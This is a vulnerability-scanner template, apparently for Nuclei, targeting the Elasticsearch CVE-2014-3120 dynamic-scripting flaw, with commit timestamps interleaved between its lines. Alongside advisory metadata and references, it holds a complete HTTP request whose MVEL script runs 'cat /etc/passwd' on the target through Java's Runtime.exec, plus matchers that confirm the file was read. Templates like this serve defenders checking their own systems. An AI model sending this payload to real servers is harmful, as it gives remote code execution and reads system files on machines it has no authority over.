2021-02-15 13:35:15 +00:00
id : CVE-2014-3120
info :
name : ElasticSearch v1.1.1/1.2 RCE
author : pikpikcu
2023-07-11 19:49:27 +00:00
severity : medium
2021-04-22 09:02:19 +00:00
description : |
2022-02-25 14:32:23 +00:00
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
2023-09-27 15:51:13 +00:00
impact : |
Allows remote attackers to execute arbitrary code on the affected system
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of ElasticSearch
2021-08-18 11:37:49 +00:00
reference :
2021-04-22 09:02:19 +00:00
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
- https://www.elastic.co/blog/logstash-1-4-3-released
2022-02-25 14:32:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-3120
2022-05-17 09:18:12 +00:00
- http://bouk.co/blog/elasticsearch-rce/
2023-07-11 19:49:27 +00:00
- https://www.elastic.co/community/security/
2022-02-25 14:32:23 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score : 6.8
2022-02-25 14:32:23 +00:00
cve-id : CVE-2014-3120
2023-07-11 19:49:27 +00:00
cwe-id : CWE-284
2024-03-23 09:28:19 +00:00
epss-score : 0.53209
2024-05-31 19:23:20 +00:00
epss-percentile : 0.97602
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : elasticsearch
product : elasticsearch
2024-05-31 19:23:20 +00:00
fofa-query : index_not_found_exception
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,rce,elasticsearch,kev,vulhub,elastic
2021-02-15 13:35:15 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-15 13:35:15 +00:00
- raw :
- |
POST /_search?pretty HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : application/x-www-form-urlencoded
{
"size": 1 ,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-02-15 13:35:15 +00:00
words :
- "application/json"
2021-02-15 17:08:00 +00:00
2021-02-15 13:35:15 +00:00
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2021-02-15 13:35:15 +00:00
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-15 17:08:00 +00:00
2021-02-15 13:35:15 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502201147887d505805312869c53cf391931fb435d6ebb2a345de1298e9952e16582f0221008773ca103f3f110dd79ec2c08eff64ab0ea1d59fa388f1d9470371900fc9f0f6:922c64590222798bb761d5b6d8e72950